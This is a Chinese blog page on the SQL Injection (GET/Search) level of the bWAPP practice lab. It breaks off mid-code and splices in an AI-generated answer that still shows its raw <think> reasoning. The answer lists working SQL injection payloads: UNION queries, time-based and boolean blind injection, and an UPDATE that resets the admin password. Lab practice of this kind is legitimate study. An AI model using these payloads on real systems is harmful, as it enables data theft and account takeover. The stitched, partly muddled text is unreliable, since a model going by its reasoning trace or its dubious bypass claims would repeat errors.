bWAPP练习--injection篇SQL Injection (GET/Search)

本文详细介绍了SQL注入攻击的原理和在bWAPP平台上的实践过程,包括LOW、MEDIUM和HIGH级别防护措施的分析。通过注入测试,揭示了字段数探测、爆表以及获取数据库信息等技巧。同时展示了PHP中addslashes()和mysql_real_escape_string()函数作为防护手段的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL注入:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

LOW:

0x01:分析一下网站的后台源码

主要源代码:

 1 if(isset($_GET["title"]))//判断通过get方法获取title的值是否为空值
 2 {
 3     //将get方法获取的值赋值个title变量
 4     $title = $_GET["title"];
 5     //后台SQL查询语句
 6     $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
 7     //对MySQL数据库进行查询
 8     $recordset = mysql_query(
<think>好的,我现在需要处理用户关于bWAPPSQL注入GET/Search关卡的漏洞解析、不同安全级别的测试方法和payload示例的问题。首先,我得回忆一下bWAPP的基本情况,它是一个故意设计有漏洞的Web应用,用于安全演练。SQL注入漏洞通常发生在用户输入未经适当处理就直接拼接到SQL查询中的情况。 用户提到的GET/Search关卡,应该是指通过GET请求进行搜索功能,可能存在注入点。不同安全级别可能对应不同的防护措施,比如低级别没有防护,中级别可能用了转义,高级别可能用了预处理语句。需要分别分析每个级别的漏洞原理和测试方法。 首先,漏洞原理部分。需要解释SQL注入如何在这个搜索功能中发生。用户输入的关键字被直接拼接到SQL查询的WHERE子句中,如果没有过滤或转义,攻击者可以构造恶意输入改变查询逻辑。例如,输入' OR '1'='1可能导致返回所有记录。 接下来是不同安全级别的测试思路。低级别可能完全没有防护,可以直接注入。中级别可能用了mysql_real_escape_string等函数,但可能存在绕过方法,比如使用编码或绕过特定字符。高级别可能使用参数化查询,这时候注入就无效了,但需要确认是否正确实现。 然后是payload示例,需要针对不同级别给出具体的注入语句。比如低级别的联合查询注入,中级别的布尔盲注或时间盲注,高级别可能无法注入,但需要测试是否有其他漏洞。 还要参考用户提供的引用内容,特别是关于时间盲注和布尔注入的部分。引用中提到了使用sleep函数和时间延迟来判断注入是否成功,比如?id=1" and sleep(if(条件,5,0)) --+,这可以用于中级别可能存在过滤但未完全防护的情况。 需要确保回答结构清晰,分点说明每个安全级别的原理、测试方法和payload示例。同时,引用的内容要自然融入,比如在时间盲注部分添加引用标识[^3]。 最后,生成相关问题,可能涉及其他类型的注入、防御措施或更复杂的利用技巧。例如,如何防御这种注入,或者如何利用错误信息进行注入。 现在要组织这些内容,确保符合用户的要求,使用正确的LaTeX格式,避免任何markdown,用中文回答,并自然地添加引用标识。</think>### bwapp SQL注入GET/Search关卡漏洞解析 #### 一、漏洞原理 该漏洞源于搜索功能未对用户输入的`title`参数进行有效过滤,导致攻击者可通过构造特殊字符直接修改SQL查询逻辑。例如原始SQL语句可能为: $$SELECT * FROM movies WHERE title LIKE '%$_GET["title"]%'$$ 当用户输入`' OR 1=1 -- `时,查询变为: $$SELECT * FROM movies WHERE title LIKE '%' OR 1=1 -- %'$$ 这将返回所有电影记录[^1]。 #### 二、不同安全级别测试方法 **1. 低级(low)** - **防护措施**:无任何过滤 - **测试思路**:直接使用联合查询注入 - **Payload示例**: ```sql ' UNION SELECT 1,database(),3 -- ``` ```sql ' AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- ``` **2. 中级(medium)** - **防护措施**:使用`mysql_real_escape_string()`转义特殊字符 - **绕过方法**:利用未过滤的数值型参数或十六进制编码 - **Payload示例**: ```sql 1' AND 1=IF(2>1,SLEEP(5),0) -- ``` ```sql ' UNION SELECT 1,@@version,3 /*!50000UNION*/ ``` **3. 高级(high)** - **防护措施**:采用预处理语句 - **测试思路**:验证是否存在二次注入漏洞 - **Payload示例**: ```sql '; UPDATE users SET password='hacked' WHERE user='admin' -- ``` (需配合存储型注入场景) #### 三、进阶利用技巧 1. **时间盲注**: ```sql ' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(5), 0) -- ``` 通过响应延迟判断字符ASCII值[^3] 2. **布尔盲注**: ```sql ' AND (SELECT SUBSTR(password,1,1) FROM users LIMIT 1)='a' -- ``` 根据页面内容差异判断注入结果[^2]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值